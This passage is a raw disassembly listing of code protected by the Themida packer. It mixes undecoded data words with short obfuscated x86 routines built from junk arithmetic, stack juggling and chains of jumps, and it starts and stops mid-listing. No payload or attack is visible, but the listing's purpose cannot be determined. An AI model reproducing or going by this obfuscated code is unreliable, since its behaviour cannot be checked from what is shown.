68FFFFB6h, 4, 8BC68958h, 0C4812404h, 4, 98E9F101h, 83FFFFE4h dd 343304C4h, 24343124h, 8B243433h, 9FE92424h, 0FF000050h dd 34FF2434h, 0C4835A24h, 0E7895704h, 4C781h, 0EF830000h dd 243C8704h, 0FFB193E9h, 0C18159FFh, 4, 83BE5653h, 460B932Fh dd 70B8CE81h, 0F7564881h, 0F75E2414h, 70E681DEh, 81320F27h dd 32732F6h, 5EF38902h, 835BD929h, 48904ECh, 5E08924h dd 4, 0A58E9h, 6526BF00h, 0FB290BB4h, 0F9AE95Fh, 1590000h dd 24348BF3h, 0E904C483h, 0FFFFB932h, 0BD555854h, 4, 353E9h dd 5DEA2900h, 8B241487h, 14892424h, 0E7B05024h, 5366092Ch dd 0F80027B7h, 0DF0C5B66h, 5307E8C0h, 0FC9E9h db 0 ; --------------------------------------------------------------------------- loc_54B329: ; CODE XREF: Themida_:0054C0AEj add esp, 4 add edi, 4 jmp loc_5468FF ; --------------------------------------------------------------------------- loc_54B337: ; CODE XREF: Themida_:0054AC90j push edi push dword ptr [esp+4] jmp loc_54C0DF ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 53E78957h, 4BBh, 0ABC78100h, 15B5262h, 0ABEF81DFh, 5B5B5262h dd 5C8D68h, 24148900h, 124250BAh, 0EA814211h, 1112424Dh dd 45CAE952h, 0C310000h, 167BE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B37E: ; CODE XREF: Themida_:00546B9Ej pop edx sub ebx, ecx jmp loc_546730 ; --------------------------------------------------------------------------- dw 0EC83h dd 24248904h, 4240483h, 0E924348Bh, 0FFFFD67Dh, 0E4B80BEh dd 52D6875Bh, 5A2414F7h, 5A5E5256h, 0F706E6C1h, 1C6CE9DEh dd 68660000h, 89664EC9h, 4BE92404h, 81FFFFAEh, 78D4242Ch dd 54E96AB9h, 0ACFFFFCEh, 0B353D830h, 68C3FEFEh, 28ECh dd 0B2241489h, 49F280D6h, 2812C380h, 12EB80D3h, 5A2434FFh dd 4DB6E9h, 432CB900h, 0CB311125h, 0FFF83AE9h, 0C8B66FFh dd 787F6824h, 4890000h, 644E924h, 0FFBB0000h, 0E9078367h dd 0EF4h, 8FE93204h, 1000049h, 30E959C8h, 8000002Bh, 0D80079EBh dd 2CC8005Bh, 3D98E98Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B436: ; CODE XREF: Themida_:005477B6j pop edx sub esp, 4 mov [esp], ebx mov bh, 9Bh dec bh jmp loc_54D3F1 ; --------------------------------------------------------------------------- db 83h, 4, 24h dd 21E95F04h, 2900001Fh, 21EB81CBh, 81262330h, 1A285DEBh dd 4CC4E96Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B466: ; CODE XREF: Themida_:00550910j sub [esp+4], eax pop eax jmp loc_54620A ; --------------------------------------------------------------------------- dd 875EF501h, 9AE9242Ch, 89FFFFDBh, 4C281E2h, 81000000h dd 4EAh, 24148700h, 21C5E9h, 6B68AC00h, 0E9000004h, 0FFFFF6BAh dd 5F2434FFh, 8F04C483h, 248B2404h, 0C8AF0F24h, 57E99C51h dd 0C1000042h, 0EC8104E0h, 4, 0E9241489h, 1FE5h, 56241C89h dd 530114BEh, 0F7E6D133h, 546CE9DEh, 2C8B0000h, 4C48124h dd 2D000000h, 46330314h, 1405D801h, 2D463303h, 44E52980h dd 37185B05h, 15D4E96Bh, 1C310000h, 241C3324h, 3824248Bh dd 0FFE99CC1h db 0ACh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B50B: ; CODE XREF: Themida_:00551714j sub eax, esi jmp loc_54B07C ; --------------------------------------------------------------------------- dw 0C281h dd 4, 4B850h, 0C2010000h, 24143358h, 61FAE9h, 5EC28100h dd 51981788h, 5B2003B9h, 2C18158h, 123D605h, 0D30159CBh dd 2505EB81h, 555A7C31h, 233021BDh, 5DEB0126h, 0FFFEFEE9h db 0FFh ; --------------------------------------------------------------------------- loc_54B555: ; CODE XREF: Themida_:0054988Ej sub ebx, ebp push eax mov eax, 28B9674Dh not eax sub eax, 42AC76B7h shl eax, 7 jmp loc_55120F ; --------------------------------------------------------------------------- dd 205h, 24048700h, 240CD35Ch, 0AC8CE99Ch, 8158FFFFh, 4C4h dd 5E545600h, 0FFF38FE9h, 28B0B3FFh, 241C8BD8h, 4EC81h dd 0C2E90000h, 8100000Ch, 4C4h, 0D659E900h, 0FD28FFFFh dd 80C5FE5Bh, 0C8E95DF5h db 0Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B5B7: ; CODE XREF: Themida_:0055113Aj pop edx jmp loc_548935 ; --------------------------------------------------------------------------- db 55h, 0E9h, 6Bh dd 89000015h, 0B951243Ch, 62672089h, 67208BBFh, 59CF3162h dd 3C8BFB01h, 256CE924h, 285B0000h, 240C8BEAh, 5FABE9h dd 6F04AC00h, 8904EC83h, 96E9241Ch, 57FFFFFFh, 19585268h dd 0ACE95F39h, 400000Bh, 0E9D8283Bh, 0FFFFE0CFh, 58C6015Fh dd 8B243487h, 8B662424h, 0A3E9240Ch, 5A00003Dh, 0E9241C33h dd 50B6h, 0CD19E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B62E: ; CODE XREF: Themida_:0054E424j push eax jmp loc_5528B5 ; --------------------------------------------------------------------------- dd 15FF901h, 0A6E981F9h, 81211C27h, 346D78E9h, 3726E934h dd 3C8B0000h, 5A8AE924h, 0E95A0000h, 3A5h, 0E95DE801h dd 0FFFFDD6Ch ; --------------------------------------------------------------------------- loc_54B660: ; CODE XREF: Themida_:00549BBCj add edi, ecx pop ecx add ebx, edi pop edi add ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] jmp loc_54FE86 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0E9008F00h, 0FFFFAB86h, 0E95EF501h, 0FFFFBADBh dd 685EF301h, 3A07h, 55241489h, 0FE6AB568h, 685D76h, 29000000h dd 58E9242Ch db 4Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B6AB: ; CODE XREF: Themida_:00551B68j mov dl, 0D9h push ecx jmp loc_54979A ; --------------------------------------------------------------------------- loc_54B6B3: ; CODE XREF: Themida_:0054878Fj push esi pop eax pop esi push 7FADh mov [esp], edx jmp loc_55112A ; --------------------------------------------------------------------------- db 66h dd 3FE99C51h, 0B3FFFFABh, 5BD800B5h, 0E8284004h, 0B52C402Ch dd 0FFC672E9h, 4BFFFh, 7C010000h, 5E5F0424h, 1B99E9h, 13BD5500h dd 0E9228802h, 30F3h, 8B240C33h, 0F662424h, 9C2404B3h dd 0FFAB01E9h, 0AAFCE9FFh, 34FFFFFFh, 2434FF24h, 582434FFh dd 4C481h, 0C4810000h, 4, 81E78957h, 4C7h, 4E80E900h, 0BA520000h dd 0DE0A69h, 815AD531h, 0EB3957C7h, 0E9EF016Eh, 0FFFFCC78h dd 42474FFh, 0E92434FFh, 6D64h, 66D58851h, 0E9EC8850h dd 81h, 0BA241489h, 710429F9h, 557508B9h, 5AD129CDh, 0EBD5550h dd 890B4A39h, 77355DE8h, 57438B79h, 562B85BFh, 5FF82976h dd 0CC2DD0F7h, 5214D78h, 3ED47EACh, 0FFDCCEE9h db 0FFh ; --------------------------------------------------------------------------- loc_54B799: ; CODE XREF: Themida_:005466EBj pop eax xchg ebx, [esp] mov esp, [esp] jmp loc_54620A ; --------------------------------------------------------------------------- db 0E9h, 60h, 0AAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B7AA: ; CODE XREF: Themida_:0054ABB4j add ebx, eax pop eax xchg ebx, [esp] mov esp, [esp] push dword ptr [esp] pop ecx add esp, 4 xor ecx, 27E15124h jmp loc_546FEE ; --------------------------------------------------------------------------- aIqsC db '‰ïé×C',0 align 4 dd 50283FBDh, 3E5C113h, 327BB951h, 0CD016E47h, 0FFCC53E9h dd 88C4FEFFh, 885866E5h, 0D18659EAh, 88ACF180h, 0D83059CBh dd 0B2525B66h, 0B1516693h, 55B25272h, 809CE280h, 0D100B0EAh dd 3514E95Ah, 0E0890000h, 405h, 3807E900h, 815D0000h, 17E81EC7h dd 5FF8290Fh, 81240C8Bh, 4C4h, 0E9525100h, 2F59h, 0FF565A59h dd 5E042474h, 8B24048Fh, 0E1F72424h, 0A6068h, 241C8900h dd 0BA52E389h, 3FA61EF8h, 495C281h, 0E2C16F1Fh, 7CBB5307h dd 816291C6h, 5068BBC2h, 81DA2954h, 5068BBEAh, 2434FF54h dd 81241C8Bh, 4C4h, 4C48100h, 1000000h, 24148BD3h, 1E72E953h dd 0CA810000h, 5F1E330Ch, 24F8E281h, 0C2815C99h, 45F36847h dd 6418E9h, 0AB75300h, 8002EFC0h, 0CF80E9CFh, 0DEC7803Ch dd 20B3EF80h, 1045BF8h, 80AEB353h, 0EFE93BC3h, 29FFFFEEh dd 4EC81D8h, 89000000h, 0D6E9240Ch, 5CFFFFB6h, 8904EC83h dd 0E389241Ch, 3BC9B951h, 0E9502D09h, 5EBEh ; --------------------------------------------------------------------------- loc_54B8EC: ; CODE XREF: Themida_:0054E4B6j xor ebp, [esp] pop esp jmp loc_54D06D ; --------------------------------------------------------------------------- db 53h, 81h, 0ECh dd 4, 0BE243489h, 4, 15EF389h, 0C2835BDAh, 24143304h, 33241431h dd 835C2414h, 14E904ECh, 2D000060h, 29DE1D7Bh, 4244401h dd 4795E9h db 0 ; --------------------------------------------------------------------------- loc_54B92D: ; CODE XREF: Themida_:0054C09Bj mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp and eax, ecx push dword ptr [esp] pop ecx push ecx mov ecx, esp add ecx, 4 add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp or edx, eax shl edx, 1 push edi mov edi, esp jmp loc_551231 ; --------------------------------------------------------------------------- db 81h dd 4C7h, 2B49E900h, 0D2F60000h, 19D5E9h db 0 ; --------------------------------------------------------------------------- loc_54B979: ; CODE XREF: Themida_:0054A0BDj xchg edx, [esp] not edx xchg edx, [esp] mov edx, [esp] push edx mov edx, esp jmp loc_550C07 ; --------------------------------------------------------------------------- dd 6866D800h, 4FE9222Eh, 81FFFFC2h, 2E2AD2E3h, 4E3C13Dh dd 27C6B850h, 0D8F71E7Ch, 0D811A62Dh, 4462257Bh, 0BB355939h dd 35383B49h, 0ACE379Bh, 0C5E9C321h, 50FFFFDDh, 0AF452EB8h dd 49F2BA19h, 0C2819760h, 2EFD35F1h, 0EA81C229h, 2EFD35F1h dd 9BE95258h, 81000026h, 407BD5CAh, 0FFE9561Eh, 5C000033h dd 2721E9h, 192CAC00h, 0FFACE4E9h, 66C328FFh, 0E9C30058h dd 0FFFFDFBDh ; --------------------------------------------------------------------------- loc_54BA08: ; CODE XREF: Themida_:00550992j pop ebx or eax, eax jz loc_546DD0 push dword ptr [edi+1Ch] push dword ptr [esp] mov ecx, [esp] jmp loc_54CF52 ; --------------------------------------------------------------------------- db 0FFh dd 0E95E240Ch, 1FEFh ; --------------------------------------------------------------------------- loc_54BA28: ; CODE XREF: Themida_:00551696j mov esi, 51FF4506h xor esi, edi pop edi and esi, 4B394F0Bh push ebx push 54457337h pop ebx or esi, ebx pop ebx jmp loc_54CC3F ; --------------------------------------------------------------------------- db 68h, 83h, 7Eh dd 34890000h, 0D9F3E924h, 5854FFFFh, 4128E953h, 0ABE90000h dd 21FFFFA7h, 0E8C15EF0h, 50C83108h, 0FF2414F7h, 51582434h dd 270F68h, 24248900h, 4BE56h, 0BF570000h, 5F877046h, 8247C01h dd 5FC1E9h db 0 ; --------------------------------------------------------------------------- loc_54BA8D: ; CODE XREF: Themida_:00551D31j sub eax, 0D217703Ah and edx, eax jmp loc_546743 ; --------------------------------------------------------------------------- db 0BBh, 7Bh, 4Ah dd 0DA012591h, 2193E9h, 0C1815800h, 6C8C0CB9h, 4259CA09h dd 0F2B6C281h, 0D8E9C907h, 83FFFFC6h, 55E904C7h, 66FFFFBDh dd 52240C8Bh, 5404EC83h, 8124048Fh, 42404h, 34FF0000h dd 0C4835A24h, 4BD5504h, 81000000h, 1F3589C2h, 51EA0104h dd 0D6371B9h, 0DFB8E913h, 0F021FFFFh, 0FFA7D8E9h, 1FB8BAFFh dd 0EAC12C50h, 7EAC108h, 8461EA81h, 0D62923C3h, 8124148Bh dd 4C4h, 5EF18900h, 6CDE950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54BB22: ; CODE XREF: Themida_:0054EFFBj jmp loc_54620A ; --------------------------------------------------------------------------- loc_54BB27: ; CODE XREF: Themida_:00548C73j shr ebp, 5 inc ebp jmp loc_547800 ; --------------------------------------------------------------------------- dd 4B8h, 58C10100h, 5C240C87h, 31241C33h, 1C33241Ch, 4295C24h dd 8BE99C24h, 81FFFFE8h, 4C7h, 243C8700h, 0D53E95Ch, 0C870000h dd 2055C24h, 33000000h, 4312404h, 24043324h, 0AF0F665Ch dd 9C5166C8h, 0FFA68DE9h, 405FFh, 0C0830000h, 24048704h dd 6E4E685Ch, 2C890000h, 84B95124h, 0BD64CD54h, 70F934E6h dd 5A4868h, 241C8900h, 0E955E389h, 0FFFFD046h, 2EE9D528h db 0A9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BBB3: ; CODE XREF: Themida_:00552587j push edx push ebx push 0D1E0957h pop ebx sub ebx, 0C61DA55Eh mov edx, ebx mov ebx, [esp] add esp, 4 shr edx, 5 jmp loc_54711C ; --------------------------------------------------------------------------- loc_54BBD4: ; CODE XREF: Themida_:0054E9EEj pop edx sub eax, 64301BA4h mov ebp, eax pop eax and eax, ebp push dword ptr [esp] mov ebp, [esp] add esp, 4 push ebp push esp pop ebp add ebp, 4 push ebx mov ebx, 4 jmp loc_550AAC ; --------------------------------------------------------------------------- db 81h dd 646CF6C6h, 0B4A6E94Dh, 895CFFFFh, 8ABB241Ch, 29676152h dd 241C8BDFh, 0FD04C483h, 2614E9h, 0A1F38100h, 2968BB5Bh dd 2A75E9D8h, 8B660000h, 54502404h, 75616858h, 85E90000h dd 81FFFFD1h, 4C5h, 4EF1E900h, 525D0000h, 6B01EBBAh, 6BF2817Ah dd 42538921h, 0FFB1ECE9h, 241C8BFFh, 4C481h, 0C3810000h dd 59EA742Ah, 0EB81D301h, 59EA742Ah, 0C1E3D15Ah, 22E905EBh db 0A8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BC7F: ; CODE XREF: Themida_:00547ACAj sub eax, 292C152Fh add eax, 0FAB2DC7h sub eax, ecx sub eax, 0FAB2DC7h add eax, 292C152Fh jmp loc_54D66C ; --------------------------------------------------------------------------- loc_54BC9A: ; CODE XREF: Themida_:00551AB5j xor edx, 0E5F1BDFEh mov ebx, edx mov edx, [esp] jmp loc_54DF22 ; --------------------------------------------------------------------------- dw 0EB81h dd 0D1648E36h, 15BDF31h, 2434FFF8h, 4EC815Fh, 89000000h dd 0E189240Ch, 4C181h, 0C1810000h, 4, 5C240C87h, 2BA52h dd 0D0010000h, 2404875Ah, 2424D35Ch, 0A520E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BCEA: ; CODE XREF: Themida_:0054739Aj pop esp sub [edi+24h], esi pop esi jmp loc_54D24F ; --------------------------------------------------------------------------- dd 0D6F7F287h, 0F281F287h, 0B470B98Eh, 0FFCAF1E9h, 0BB535EFFh dd 4, 335BDA01h, 14312414h, 24143324h, 0FFAF67E9h, 0E9DEF7FFh dd 0FFFFD540h ; --------------------------------------------------------------------------- loc_54BD24: ; CODE XREF: Themida_:0054EAB8j push 3937039Dh pop eax push esi mov esi, 62140824h jmp loc_547D67 ; --------------------------------------------------------------------------- db 83h, 0E8h, 4 dd 5C240487h, 12FDE9h db 0 ; --------------------------------------------------------------------------- loc_54BD41: ; CODE XREF: Themida_:00546DE0j mov edx, 0B151FE7h sub dword ptr [esp+4], 520825AFh add [esp+4], edx add dword ptr [esp+4], 520825AFh mov edx, [esp] add esp, 4 jmp loc_550ED1 ; --------------------------------------------------------------------------- dd 0A92DD0F7h, 1DFE5EFh, 24048BC7h, 4C481h, 20E90000h dd 55FFFFA8h, 0FFC5BBE9h, 48B66FFh, 0E0895024h, 0EAEFE956h dd 0EB81FFFFh, 1C756DEAh, 5423EB81h, 0F3814D4Bh, 531E01F6h dd 0FFE0EDE9h, 8BF588FFh, 0C4832414h, 0E5805B04h, 0EEC580BEh dd 5E9EA28h, 83FFFFDFh, 48904ECh, 2474FF24h, 48F5804h dd 0C694E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BDD2: ; CODE XREF: Themida_:00546D18j mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edi jmp loc_54D2C6 ; --------------------------------------------------------------------------- dd 815DEB01h, 4EBh, 0A90AE900h, 8B54FFFFh, 8956240Ch, 0C5C6E9E6h dd 0BD55FFFFh, 3B921642h, 62BECD81h, 0D5F719F4h, 30C6ED81h dd 0F4E919A7h, 0FFFFBFh, 240C8BE8h, 4C481h, 0C7280000h dd 0E9F83058h, 66E5h, 5F2434FFh, 6804C483h, 499Ch, 0FFD064E9h dd 48B66FFh, 54F6824h, 1C890000h, 5C66824h, 24890000h dd 1332E924h, 15D0000h, 0CAEE81DEh, 8B57A735h, 8956241Ch dd 4C681E6h, 81000000h, 4C6h, 24348700h, 2434335Ch, 33243431h dd 0E95C2434h, 0FFFFBE9Eh, 6E936855h, 2C8B0724h, 20A1E924h dd 0EE800000h, 0AEE80FFh, 30ABC680h, 62E95AF4h, 81FFFFA8h dd 38821F5h, 8BEE0124h, 0C483242Ch, 4EC8304h, 0FF243489h dd 8B042474h, 0C4832434h, 24048F04h, 2404205Ch, 0A334E99Ch dd 0E958FFFFh, 0FFFFCE63h, 0B089F581h, 0E83120C0h, 0C5E9815Dh dd 0E94C4802h, 1E22h, 5C243C87h, 263AE9h, 52742D00h, 0FE2D0265h dd 5E5AB94Dh, 8B240487h, 0C4812424h, 4, 0FFCA0EE9h, 60F281FFh dd 0E920E676h, 0FFFFC090h ; --------------------------------------------------------------------------- loc_54BF20: ; CODE XREF: Themida_:0054ED6Bj pop ebp jmp loc_549D33 ; --------------------------------------------------------------------------- dw 57B9h dd 0E921E15Eh, 0FFFFC4C3h, 5B3B6CB8h, 0E9C1217Eh, 0FFFFFB69h dd 47318ABEh, 92E95021h, 89FFFFE3h, 24148BD5h, 4C481h dd 0EE090000h, 48D5E95Dh, 8F0000h, 0FFA2A9E9h, 0E9EBD1FFh dd 4FF4h ; --------------------------------------------------------------------------- loc_54BF68: ; CODE XREF: Themida_:0054D9B8j mov eax, 4 push ebp mov ebp, eax mov esi, ebp pop ebp pop eax and ecx, esi pop esi shr ecx, 0Ah push ebx push ebp mov ebp, 306F1CBDh add [esp+4], ebp jmp loc_54C306 ; --------------------------------------------------------------------------- loc_54BF8A: ; CODE XREF: Themida_:0054A3F6j add ebp, 4 jmp loc_5482F3 ; --------------------------------------------------------------------------- db 68h, 0B5h, 18h dd 0C890000h, 3DBFB924h, 1BE92E50h, 0B1FFFFE1h, 58E130D9h dd 0CA30E3B2h, 0EB2C59h, 0D8BEE9D0h, 0BD55FFFFh, 22C2669Eh dd 1C581h, 0C5810000h, 68704030h, 0A35B850h, 0C5093FCAh dd 0C1DDF758h, 0F58102EDh, 212D5F2Dh, 0F75DE889h, 48E955D8h db 39h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54BFEB: ; CODE XREF: Themida_:0054FB5Aj mov [esp], ebx mov bl, 4Ah sub bl, 0BDh sub al, bl pop ebx mov dx, [esp] push 5F8Ah mov [esp], ecx jmp loc_5484B3 ; --------------------------------------------------------------------------- db 81h dd 4C1h, 240C8700h, 0FFF9DAE9h db 0FFh ; --------------------------------------------------------------------------- loc_54C015: ; CODE XREF: Themida_:0054F972j add dword ptr [esp], 4 pop edx push eax mov eax, 4 jmp loc_548769 ; --------------------------------------------------------------------------- loc_54C028: ; CODE XREF: Themida_:00550E8Fj add esp, 4 push ecx mov ecx, 4EFE70FCh push esi mov esi, 0 sub esi, ecx mov ecx, esi pop esi jmp loc_5526DE ; --------------------------------------------------------------------------- dd 5A66F700h, 5247F780h, 0EA8059B2h, 0ECA80C7h, 80D5EA80h dd 19E965CAh, 66FFFFABh, 6824048Bh, 1BBFh, 0E9240489h dd 0FFFFA97Fh ; --------------------------------------------------------------------------- loc_54C070: ; CODE XREF: Themida_:0054690Dj shr edx, 1 cmp eax, edx jmp loc_54F758 ; --------------------------------------------------------------------------- db 81h, 0EFh, 4 dd 87000000h, 0AE9243Ch, 8B000042h db 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push ecx jmp loc_54B92D ; --------------------------------------------------------------------------- loc_54C0A0: ; CODE XREF: Themida_:00550E03j push 3501h jmp loc_547B7E ; --------------------------------------------------------------------------- loc_54C0AA: ; CODE XREF: Themida_:0054E9D9j push esp mov edi, [esp] jmp loc_54B329 ; --------------------------------------------------------------------------- loc_54C0B3: ; CODE XREF: Themida_:00550306j xchg ebx, [esp] pop esp add edx, edi push ecx jmp loc_54E884 ; --------------------------------------------------------------------------- loc_54C0BF: ; CODE XREF: Themida_:00547128j not edx push ecx mov ecx, 0AF375B3h add edx, ecx jmp loc_54FAFC ; --------------------------------------------------------------------------- dw 505Fh dd 4B8h, 8BC70100h, 2AE92404h db 0A3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C0DF: ; CODE XREF: Themida_:0054B33Cj pop edi pop dword ptr [esp] pop esp mov [esp], edx jmp loc_5492CF ; --------------------------------------------------------------------------- dd 348BF389h, 0B17DE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C0F6: ; CODE XREF: Themida_:005487A2j pop ebp mov eax, [esp] add esp, 4 push 5EA7h mov [esp], edx jmp loc_54A0B7 ; --------------------------------------------------------------------------- dw 2BDh dd 0E9000000h, 0FFFFCD14h ; --------------------------------------------------------------------------- loc_54C114: ; CODE XREF: Themida_:00551FAFj add esp, 4 jmp loc_54DD0D ; --------------------------------------------------------------------------- db 81h dd 9E90B3F3h, 245F31E7h, 0D2315D5Bh, 0FFE343E9h, 0D83159FFh dd 0A0BF575Bh, 0E969E474h, 0FFFFB3EFh, 592434FFh, 3BA7E9h dd 64B85000h, 53B4A2Ch, 2DB01460h, 0E958C729h, 0F64h, 8324148Bh dd 5B5904C4h, 0FFA0A1E9h, 241433FFh, 0F24248Bh, 9168C8BEh dd 8900002Fh, 0DCE9240Ch, 80000037h, 0EDC04BF5h, 0B2526604h dd 0FA1EE9FEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C18E: ; CODE XREF: Themida_:00549A2Bj xor esi, [esp] mov esp, [esp] jmp loc_549623 ; --------------------------------------------------------------------------- db 50h, 0B8h, 0FFh dd 1FFFFFFh, 0ED8158C5h, 7F1C3E2Bh, 90E9E889h, 0C1FFFFDDh dd 78E908EFh, 33FFFFADh, 665C2404h, 5124048Bh, 13D7E954h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54C1C6: ; CODE XREF: Themida_:0055258Fj push ebp push esp jmp loc_54D469 ; --------------------------------------------------------------------------- loc_54C1CD: ; CODE XREF: Themida_:0054A04Fj sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx mov ecx, esp add ecx, 4 push ebx jmp loc_54E30E ; --------------------------------------------------------------------------- loc_54C1E5: ; CODE XREF: Themida_:0055127Aj mov [esp], edx mov dh, 0D4h jmp loc_547790 ; --------------------------------------------------------------------------- db 0B8h dd 7BA54B95h, 4FFFE9h, 7E95C00h, 6600002Eh, 5766DAF7h dd 649EE9h db 0 ; --------------------------------------------------------------------------- loc_54C209: ; CODE XREF: Themida_:0054F85Fj sub dword ptr [esp+4], 57820113h sub dword ptr [esp+4], 32CD0185h sub dword ptr [esp+4], 216F75E0h push dword ptr [esp] mov ebp, [esp] add esp, 4 add esp, 4 pop ecx push ebp jmp loc_549F19 ; --------------------------------------------------------------------------- dw 433h dd 0C8315C24h, 83240C8Bh, 0C33104C4h, 2CB951h, 0C1810000h dd 200F7D00h, 0E981F901h, 200F7D00h, 0FFB6A1E9h, 243C89FFh dd 0DC5E9h, 0F3F28100h, 29501328h, 24148BD3h, 104C483h dd 0A9BA52D3h, 0E923D553h, 24Eh, 0E924148Bh, 0FFFFF3EBh dd 5AEE8166h, 0F70966DEh, 6647665Eh, 5451C781h, 5C350566h dd 66F82966h, 0FF5C352Dh, 3C8B2434h, 4C48124h, 50000000h dd 341DE9h db 0 ; --------------------------------------------------------------------------- loc_54C2B9: ; CODE XREF: Themida_:00551E61j sub esp, 4 jmp loc_54EA64 ; --------------------------------------------------------------------------- dd 55240489h, 0F73455BDh, 86CD816Bh, 816F280Bh, 0AF23B0F5h dd 5DE88979h, 0E9D0F748h, 22E3h, 42474FFh, 24048F59h, 370FE95Ch dd 41B70000h, 0F663CF80h, 80DFF6D7h, 0C780D0E7h, 49E6E954h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54C306: ; CODE XREF: Themida_:0054BF85j pop ebp jmp loc_550A77 ; --------------------------------------------------------------------------- dd 8104E3C1h, 0DE1BBEC3h, 0FDC38126h, 0E996D864h, 0FFFFBB7Fh ; --------------------------------------------------------------------------- loc_54C320: ; CODE XREF: Themida_:00547D72j not esi xor esi, 0BAF67233h add eax, esi pop esi push ecx jmp loc_547BF5 ; --------------------------------------------------------------------------- loc_54C331: ; CODE XREF: Themida_:00546ED9j add esp, 4 push ecx mov ecx, 7931141Ah shr ecx, 2 not ecx not ecx not ecx neg ecx push ebx jmp loc_54AAE3 ; --------------------------------------------------------------------------- db 0FFh dd 5A042474h, 8B24048Fh, 0EAE92424h db 0BDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C35B: ; CODE XREF: Themida_:00551475j mov ecx, ebx pop ebx shr ecx, 1 and ecx, 71530822h and ecx, 59696D48h push ecx not dword ptr [esp] pop ecx xchg eax, ecx not eax jmp loc_54B04B ; --------------------------------------------------------------------------- db 59h, 81h, 0F2h dd 16D44134h, 5F1AF281h, 0D60122A4h, 8324148Bh, 343304C4h dd 24343124h, 5C243433h, 8B2434FFh, 89562404h, 4C681E6h dd 81000000h, 4C6h, 24348700h, 4EC835Ch, 0E9241489h, 5A2Dh dd 0FF9E49E9h db 0FFh ; --------------------------------------------------------------------------- loc_54C3C1: ; CODE XREF: Themida_:00551DD1j mov ebx, 6ED8417Ah push eax mov eax, 54275BFh neg eax sub eax, 8BE547BBh xor ebx, eax pop eax add edi, 0D723854h sub edi, 6FF814BBh add edi, 7E927F45h sub edi, ebx jmp loc_54F50B ; --------------------------------------------------------------------------- loc_54C3EF: ; CODE XREF: Themida_:0054A51Dj xor ebp, edi jmp loc_54B115 ; --------------------------------------------------------------------------- aSg db ')ØéG[',0 dd 241C8900h, 0F53DB2BBh, 0FB57E975h, 0D1F7FFFFh, 0E1C1D1F7h dd 65E98107h, 16FE947h, 240C8BC8h, 0E904C483h, 155Fh, 0E9241489h dd 0FFFFAAB2h, 5B66DA30h, 1D67E9h, 241C8700h, 243C895Ch dd 3A397BBFh, 4EC835Ch, 0BD242C89h, 5C3F72C2h, 515DE889h dd 6CEBF57h, 0C14F1034h, 0EF8102EFh, 0F3E2C69Ch, 0E95FF989h dd 0FFFFE4BFh, 0E9240C31h, 0FFFFF288h, 4C1835Ah, 5C240C87h dd 0F87E9h, 3E7C100h, 604AE9h db 0 ; --------------------------------------------------------------------------- loc_54C485: ; CODE XREF: Themida_:00548D73j add esp, 4 sub esp, 4 mov [esp], esi push esp mov esi, [esp] add esp, 4 jmp loc_549A19 ; --------------------------------------------------------------------------- db 29h, 0E8h, 2Dh dd 72F27118h, 648B685Dh, 0C890000h, 2ECEE924h, 0E1C10000h dd 0EFE98108h, 0E9AF16DFh, 59A6h, 67E9CA29h, 0FF000011h dd 48B2434h, 37FAE924h, 0F2810000h, 150B7147h, 3E39E9h db 0 ; --------------------------------------------------------------------------- loc_54C4DD: ; CODE XREF: Themida_:00547FDDj sub dl, 9Ch add cl, dl mov edx, [esp] add esp, 4 xor al, cl jmp loc_549BC1 ; --------------------------------------------------------------------------- loc_54C4EF: ; CODE XREF: Themida_:0054870Dj add esp, 4 shr ecx, 2 sub esp, 4 mov [esp], ebx push dword ptr [esp] pop eax sub esp, 4 mov [esp], ebp push edi jmp loc_547983 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 4C481h, 0C4830000h, 0BA6AE904h, 0EB81FFFFh, 21A06778h dd 3355EB81h, 0EB8173D7h, 4B7029BEh, 0E9EE957h, 0EB810000h dd 0D1D6D559h, 815BDA89h, 0AC5B19CAh, 0CEB95106h, 0F721F819h dd 4CE981D1h, 812FDC1Ch, 347ED0C1h, 59CA217Ch, 0FFA67DE9h db 0FFh ; --------------------------------------------------------------------------- loc_54C565: ; CODE XREF: Themida_:0054826Cj push edi push esp mov edi, [esp] add esp, 4 add edi, 4 jmp loc_54A623 ; --------------------------------------------------------------------------- aD0Fxsfs db '°„0ÇfXéfS',0 dw 6800h dd 7F87h, 2DCCE9h db 0 ; --------------------------------------------------------------------------- loc_54C58D: ; CODE XREF: Themida_:0054FFC4j push ebx jmp loc_54705F ; --------------------------------------------------------------------------- db 29h dd 0EE815AD6h, 2B8B5942h, 4EC81h, 34890000h, 6824h, 0E95E0000h dd 0FFFFD086h, 89665B66h, 0DB0FE9CFh, 0E689FFFFh, 24CAE9h dd 0FBBD5500h, 0C13E8E77h, 0EE902E5h, 57FFFFC8h, 2AD6E9h dd 148B6600h, 0A487E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C5DE: ; CODE XREF: Themida_:0054E638j add ebx, 